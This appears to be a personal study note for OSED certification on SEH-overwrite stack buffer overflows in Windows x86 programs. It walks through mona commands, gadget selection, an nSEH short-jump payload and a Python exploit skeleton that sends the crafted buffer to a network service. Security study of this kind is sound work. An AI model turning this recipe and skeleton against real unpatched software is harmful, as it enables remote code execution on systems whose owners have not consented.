What this is and why future-me would open it
Stack-based overflow on a Windows x86 target where the saved return address is too far from the buffer start to use directly, but the Structured Exception Handler (SEH) record sits comfortably within reach. You overflow into the SEH record, force an exception, and execution transfers through the corrupted handler chain into your shellcode. Standard OSED material; expect at least one assignment to be solvable this way.
When you’d reach for it
- Crash happens on access violation (page fault, divide-by-zero, etc.)
rather than on
ret !exchainin WinDbg shows your A’s in the SEH record after the overflow- Buffer-to-saved-EIP distance is too large to overflow practically, but the SEH record is reachable
- The application registers exception handlers (most C++ Windows binaries do)
Recognition signs
- WinDbg shows
Access violation - code c0000005on a write/read instruction, not on aret !exchainoutput shows AAAA or your pattern at one or more handler entries- The stack-walk back to the registered SEH record is short
The recipe
Confirm SEH reach. Send
cyclic(5000)or similar, trigger crash, run!exchain. If the SEH record contains your pattern, you’re in.Find offsets. Use mona or
pattern_offsetagainst both the nSEH (next-SEH) and SEH (handler) values:!mona pattern_offset 0x37624136You’ll get two offsets, 4 bytes apart. nSEH lives at the lower one.
Find a
pop pop retgadget in a non-SafeSEH module.!mona seh -cm safeseh=offPick a gadget address that contains no bad chars.
Build the SEH record.
- nSEH (4 bytes): a short jump over the next 4 bytes,
e.g.
\xeb\x06\x90\x90 - SEH (4 bytes): the address of your
pop pop retgadget
- nSEH (4 bytes): a short jump over the next 4 bytes,
e.g.
Place shellcode after nSEH+SEH. When the exception fires, the gadget pops twice and returns into nSEH’s short jump, which lands in your shellcode area.
Trigger the exception. Usually the overflow itself does this — the corrupted return walked into unmapped memory. If not, force one (oversized read, write past page boundary, etc.).
Gotchas
- SafeSEH. If every loaded module has SafeSEH on, you
can’t use
pop pop retfrom any of them. Look for non-SafeSEH modules (often the main binary, occasionally third-party libraries). On the OSED, the lab binaries deliberately ship a non-SafeSEH module — find it. - SEHOP. Modern Windows can validate the SEH chain ends in a known sentinel. Less common on OSED targets but possible. If SEHOP is on, you need a chain-aware bypass (covered in advanced material).
- ASLR on the gadget module. If the module containing
your gadget is ASLR-marked, your chosen address will be unstable.
Confirm with
!mona modulesthat the gadget module showsRebase: False. - Bad chars in the gadget address. A common
time-sink. Use
!mona seh -cpb "\x00\x0a\x0d"to filter from the start. - Short jump distance.
\xeb\x06jumps 6 bytes from the end of the jump instruction (which is itself 2 bytes). Verify in a debugger that you land where you think you do. - Register state at handler invocation. When the gadget executes, ESP, EBP, and ECX are set up by the OS exception dispatcher. Your shellcode runs with whatever the dispatcher leaves you. This is fine for most shellcode but can break stack-cleanup-sensitive payloads.
Reference exploit skeleton
import struct, socket
OFFSET_NSEH = 4096 # offset to nSEH from buffer start
PPR = 0x10047b6d # pop pop ret in examplelib.dll (non-SafeSEH, non-ASLR)
# Short-jump nSEH: jmp +6 (over the 4-byte SEH field)
nseh = b'\xeb\x06\x90\x90'
seh = struct.pack('<L', PPR)
# Generic placeholder shellcode — replace with msfvenom output once bad chars known
shellcode = b'\xcc' * 400 # int3 sled for first verification
buf = b'A' * OFFSET_NSEH
buf += nseh
buf += seh
buf += b'\x90' * 16 # NOP cushion
buf += shellcode
buf += b'B' * (8000 - len(buf)) # padding to keep buffer size constant
s = socket.socket()
s.connect(('target', 9999))
s.send(buf)Debugger session

The screenshot shows !exchain after the overflow: the
first SEH record points to our pop pop ret gadget, nSEH
contains the short jump, and stepping through the dispatcher we land in
the NOP sled.
Cross-references
- See also: stack-pivot, egghunter
- Source material: OSED course module 5; Corelan part 3 (web archive)
- Snippets: pattern-create, badchars-py, mona-commands
- Related CVE pattern: see notes on real-world apps with SEH-exploitable bugs